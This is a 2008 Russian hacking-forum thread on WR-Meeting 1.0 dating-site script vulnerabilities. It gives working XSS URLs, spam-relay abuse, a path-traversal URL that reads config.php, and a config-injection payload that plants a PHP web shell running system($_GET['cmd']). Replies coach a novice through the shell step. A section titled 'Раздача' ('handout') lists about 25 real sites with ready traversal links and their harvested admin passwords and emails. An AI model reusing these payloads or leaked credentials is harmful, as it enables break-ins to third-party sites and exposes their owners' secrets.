PDA

Просмотр полной версии : Уязвимости в WR-Meeting 1.0


otmorozok428
17.05.2008, 21:12
Продолжаем оперировать семейство скриптов WR-Script. Сегодня в поле нашего зрения - служба знакомств WR-Meeting 1.0. Итак, я нашёл следующие уязвимости...


1. Пассивные XSS.

http://localhost/wrm/addmsg.php?event=mailto&msnum=22268&name=wr<script>alert()</script>&email=loh@loh.ru

http://localhost/wrm/addmsg.php?event=mailto&msnum=22268&name=wr&email=loh@loh.ru><script>alert()</script><

http://localhost/wrm/addmsg.php?event=mailto&msnum=22268&name=wr&email=loh@loh.ru&id=23><script>alert()</script><

На странице
http://localhost/wrm/index.php?event=addform
можно передать в качестве параметров POST-формы $city, $work, $url, $icq, параметры с длиной строки более 25 символов, содержащие строчку
<script>alert()</script>
Например,
1234567890<script>alert()</script>
Для этого придётся заменить параметр maxlength=25 в POST-форме на maxlength=45.

Данный класс уязвимостей представляет интерес скорее теоретический... Перейдём к практике...


2. Рассылка спама

Если параметр $sendmail в файле config.php равен "1" , т.е. отправка писем администратором НЕ запрещена, службу WR-Meeting можно использовать в качестве прокси для спам-рассылок. Так, ссылка
http://localhost/wrm/addmsg.php?event=mailto&msnum=22268&name=wr&email=loh@loh.ru
передаст email loh@loh.ru в форму отправки сообщения, в скрытое поле
<INPUT type=hidden name=uemail value=loh@loh.ru>
откуда можно слать что угодно и кому захочется. Собственно, скрипт для спам-рассылки наколбасить будет совсем несложно.


3. Создание на сервере .dat файлов с неприлично длинными цифровыми именами

http://localhost/wrm/addmsg.php?id=&msnum=22268
Откроем исходный код страницы и заменим
<FORM action='addmsg.php?event=add&msnum=22268' method=post name=addForm>
на
<FORM action='http://localhost/wrm/addmsg.php?event=add&msnum=99999999999999999999999999999999999999999999 99999999999999999999999999999999999999999999999999 99999999999999999999999999999999999999999999999999 9999999999999999999999999999999999999999' method=post name=addForm>
Сохраним страницу на жесткий диск, откроем её оттуда и нажмём кнопку "Сохранить". После этого на удалённом сервере появится файл с именем
99999999999999999999999999999999999999999999999999 99999999999999999999999999999999999999999999999999 99999999999999999999999999999999999999999999999999 9999999999999999999999999999999999.dat
Чистой воды хулиганство... :)


4. Возможность выставления нестандартной оценки для фотографий.

Вместо стандартной шкалы оценок от 1 до 5, можно выставлять свои оценки от -9 до 99. Так понравившаяся тебе девушка может заполучить сразу 99 баллов за свою фотку, а парнишка-конкурент может схлопотать -9 баллов. Естественно, твоя оценка повлияет и на средний балл за фотографию. Идем на похожий линк
http://localhost/wrm/index.php?event=coment&msnum=22268
открываем исходный код странички, меняем
<INPUT name=type type=radio value='5'>5</TD></TR>
на
<INPUT name=type type=radio value='99'>99</TD></TR>
сохраняем страничку на локальный диск и открываем её оттуда... Ставим нашу оценку...


5. Просмотр файлов на сервере

Параметр msnum в файле index.php вставляется в качестве имени файла "как есть"
if ($_GET['event']=="coment") {$msnum=$_GET['msnum'];

.................................................. .....

if (is_file("$datadir/$msnum.dat")) {
$rlines=file("$datadir/$msnum.dat");

.................................................. .....
, что даёт возможность просматривать файлы на сервере. Так, ссылка вида
http://localhost/wrm/index.php?event=coment&msnum=../config.php%00
позволяет просмотреть содержимое файла config.php , где в открытом виде хранится пароль от админки.

Фиксится данная уязвимость заменой условия
if ($_GET['event']=="coment") {$msnum=$_GET['msnum'];

.................................................. .....
на
if ($_GET['event']=="coment"&&ctype_digit($_GET['msnum'])) {$msnum=$_GET['msnum'];

.................................................. .....


6. Заливка шелла

Смотрим админский пасс в файле config.php, заходим в админку

http://localhost/wrm/admin.php на вкладку "Конфигурирование", ищем пункт "Относительный путь до папки с данными скрипта" и

заменяем в нём ./fotodat на

./fotodat";if(isset($_GET["cmd"])){include($cmd);}//

для удалённого инклуда шелла

или на

./fotodat"; if (isset($_GET['cmd'])){system($_GET['cmd']);}//

для выполнения команд на сервере. Первый вариант прокатит только при директиве PHP-интерпретатора allow_url_fopen = On ,второй более перспективен.

Жмём кнопку "Сохранить конфигурацию". Шелл готов к работе.


7. Раздача

Вот, нагуглилось...
http://love.sibdoska.ru/index.php?event=coment&msnum=../config.php%00

$password="s1"; // Пароль админа

$adminemail="Miha-ingener@yandex.ru"; // Емайл админа

------------------------------------------------------------------------

http://www.gay-dosug.ru/index.php?event=coment&msnum=../config.php%00

$password="390035"; // Пароль админа

$adminemail="4033@mail.ru"; // Емайл админа

------------------------------------------------------------------------

http://www.sayanboard.ru/love/index.php?event=coment&msnum=../config.php%00

$password="pvo71599e"; // Пароль админа

$adminemail="admin@sayanboard.ru"; // Емайл админа

------------------------------------------------------------------------

http://www.garda.org.ua/meeting/admin.php?pswrd=admin

------------------------------------------------------------------------

http://www.sparta.md/meeting/index.php?event=coment&msnum=../config.php%00

$password="430-430"; // Пароль админа

$adminemail="email@email.ru"; // Емайл админа

------------------------------------------------------------------------

http://repairnetwork.ru/index.php?event=coment&msnum=../config.php%00

$password="4onada"; // Пароль админа

$adminemail="email@email.ru"; // Емайл админа

------------------------------------------------------------------------

Хитрый аффтар снёс админку из демо-версии :)

http://www.wr-script.ru/meeting/index.php?event=coment&msnum=../config.php%00

$password="q1q2"; // Пароль админа

$adminemail="miha-ingener@yandex.ru"; // Емайл админа

------------------------------------------------------------------------

http://love.mynickel.net.ru/index.php?event=coment&msnum=../config.php%00

$password="Suchka87"; // Пароль админа

$adminemail="admin@myickel.net.ru"; // Емайл админа
------------------------------------------------------------------------

http://starominska.ru/meeting/index.php?event=coment&msnum=../config.php%00

$password="cm6gnk"; // Пароль админа

$adminemail="admin@starominska.ru"; // Емайл админа

------------------------------------------------------------------------

http://diana.mindlife.ru/index.php?event=coment&msnum=../config.php%00

$password="dimap"; // Пароль админа

$adminemail="astro_d@inbox.ru"; // Емайл админа

------------------------------------------------------------------------

http://www.inetsky.ru/meeting/index.php?event=coment&msnum=../config.php%00

$password="pyfrjvmcz32"; // Пароль админа

$adminemail="wacher@mail.inetsky.ru"; // Емайл админа

------------------------------------------------------------------------

http://213.8.173.232/9/index.php?event=coment&msnum=../config.php%00

$password="admin"; // Пароль админа

$adminemail="Miha-ingener@yandex.ru"; // Емайл админа

------------------------------------------------------------------------

http://znakomstva.foxcat.ru/index.php?event=coment&msnum=../config.php%00

$password="010377"; // Пароль админа

$adminemail="alexey__fedotov@mail.ru"; // Емайл админа

------------------------------------------------------------------------

http://allove.in/admin.php?pswrd=admin

------------------------------------------------------------------------

http://php-ru.info/1/meet/index.php?event=coment&msnum=../config.php%00

$password="Virusebola"; // Пароль админа

$adminemail="gamovic@rambler.ru"; // Емайл админа
------------------------------------------------------------------------

http://vs.tj/index.php?event=coment&msnum=../config.php%00

$password="ghbdtn"; // Пароль админа

$adminemail="email@email.ru"; // Емайл админа

------------------------------------------------------------------------

http://www.videomontazh.ru/meeting/index.php?event=coment&msnum=../config.php%00

$password="lalala"; // Пароль админа

$adminemail="email@email.ru"; // Емайл админа

------------------------------------------------------------------------

http://www.ineedlove.metroland.ru/index.php?event=coment&msnum=../config.php%00

$password="reeboot"; // Пароль админа

$adminemail="code-soft@programist.ru"; // Емайл админа

------------------------------------------------------------------------

http://zauralrb.info/znak/index.php?event=coment&msnum=../config.php%00

$password="kvartira"; // Пароль админа

$adminemail="admin@zauralrb.info"; // Емайл админа

------------------------------------------------------------------------

http://www.znamenka75.com/meeting/admin.php?pswrd=admin

------------------------------------------------------------------------

http://www.kshyms.com/acquaintances/admin.php?pswrd=admin

-----------------------------------------------------------------------

http://lubny.com.ua/meeting/admin.php?pswrd=admin

-----------------------------------------------------------------------

http://emenci.com/foto/index.php?event=coment&msnum=../config.php%00

$password="vflfufcrfh"; // Пароль админа

$adminemail="email@email.ru"; // Емайл админа

------------------------------------------------------------------------

http://aleks-an.net.ru/love/index.php?event=coment&msnum=../config.php%00

$password="aleksadm"; // Пароль админа

$adminemail="andr_aleks@mail.ru"; // Емайл админа

------------------------------------------------------------------------

http://rig.fatal.ru/znakomstva/index.php?event=coment&msnum=../config.php%00

$password="16071960"; // Пароль админа

$adminemail="zdvika@narod.ru"; // Емайл админа

------------------------------------------------------------------------

http://rk-pechora.ru/znakomstva/index.php?event=coment&msnum=../config.php%00

$password="PE8KW1M59d"; // Пароль админа

$adminemail="admin@nikolai800.ru"; // Емайл админа

------------------------------------------------------------------------

http://oberon.oriontv.net/znak/index.php?event=coment&msnum=../config.php%00

$password="vvvvvv"; // Пароль админа

$adminemail="serhio@oriontv.net"; // Емайл админа

К некоторым админкам, где уязвимость не юзалась, подошёл дефолтовый пароль admin.


*******

Cr@zy_King
17.05.2008, 22:33
Good .

DDoSька
17.05.2008, 22:40
Круто,но объясни пожалуйста нубу поподробнее с шелами )) буду очень благодарен :rolleyes:

otmorozok428
17.05.2008, 23:07
Круто,но объясни пожалуйста нубу поподробнее с шелами )) буду очень благодарен :rolleyes:

DDoSька, в общем идея такая, файл config.php - это файл, в котором хранятся настройки WR-Meeting в таком формате

<? // WR-Meeting v 1.0.2 // 23.09.07 г. // Miha-ingener@yandex.ru
................чего-то ещё........................

$adminemail="email@email.ru"; // Емайл админа
$password="admin"; // Пароль админа

................чего-то ещё........................

$datadir="./fotodat"; // Каталог с фото и комментариями/оценками

................чего-то ещё........................
?>

Основной скрипт index.php обращается к этим настройкам посредством конструкции

include "config.php";

Панель администрирования (файл admin.php) позволяет изменять значения переменных в файле config.php. А поскольку в админке не проверяется корректность вводимых данных, то введя в пункте "Относительный путь до папки с данными скрипта" значение

./fotodat";if(isset($_GET["cmd"])){include($cmd);}//
мы добавляем в PHP-код файла config.php (а заодно и файла index.php) дополнительную инструкцию include()

<? // WR-Meeting v 1.0.2 // 23.09.07 г. // Miha-ingener@yandex.ru

$datadir="./fotodat";if(isset($_GET["cmd"])){include($cmd);}//"; // Каталог с фото и комментариями/оценками

?>

Смотри, после присвоения значения переменной $datadir, добавилась инструкция include(). Главное не запутаться с количеством кавычек и вообще не косячить с синтаксисом. Если ошибёшься, завалишь скрипт знакомств, а заодно потеряешь доступ.

Blacksmith
17.05.2008, 23:17
Молодец!

Blacksmith
17.05.2008, 23:26
DDoSька, в общем идея такая, файл config.php - это файл, в котором хранятся настройки WR-Meeting в таком формате

<? // WR-Meeting v 1.0.2 // 23.09.07 г. // Miha-ingener@yandex.ru
................чего-то ещё........................

$adminemail="email@email.ru"; // Емайл админа
$password="admin"; // Пароль админа

................чего-то ещё........................

$datadir="./fotodat"; // Каталог с фото и комментариями/оценками

................чего-то ещё........................
?>

Основной скрипт index.php обращается к этим настройкам посредством конструкции

include "config.php";

Панель администрирования (файл admin.php) позволяет изменять значения переменных в файле config.php. А поскольку в админке не проверяется корректность вводимых данных, то введя в пункте "Относительный путь до папки с данными скрипта" значение

./fotodat";if(isset($_GET["cmd"])){include($cmd);}//
мы добавляем в PHP-код файла config.php (а заодно и файла index.php) дополнительную инструкцию system()

<? // WR-Meeting v 1.0.2 // 23.09.07 г. // Miha-ingener@yandex.ru

$datadir="./fotodat";if(isset($_GET["cmd"])){include($cmd);}//"; // Каталог с фото и комментариями/оценками

?>

Смотри, после присвоения переменной $datadir значения, добавилась инструкция system(). Главное не запутаться с количеством кавычек и вообще не косячить с синтаксисом. Если ошибёшься, завалишь скрипт знакомств, а заодно потеряешь доступ.


А есть еше способ заливки шелла?

otmorozok428
17.05.2008, 23:37
А есть еше способ заливки шелла?

Ну если поискать может быть и найдётся, только смысл-то какой? Шелл у тебя уже и так есть :)

DDoSька
18.05.2008, 02:43
спасибо,очень хорошо объяснил,приятно,что ты объяснил весь смысл
ЗЫ:я думал скажешь :"Купи моск" =)

otmorozok428
21.05.2008, 17:17
Good .

Тынц (http://www.milw0rm.com/exploits/5637)

Ты б чтоль автора упомянул приличия ради...

А то там благодарности уж каким-то совсем левым чувакам...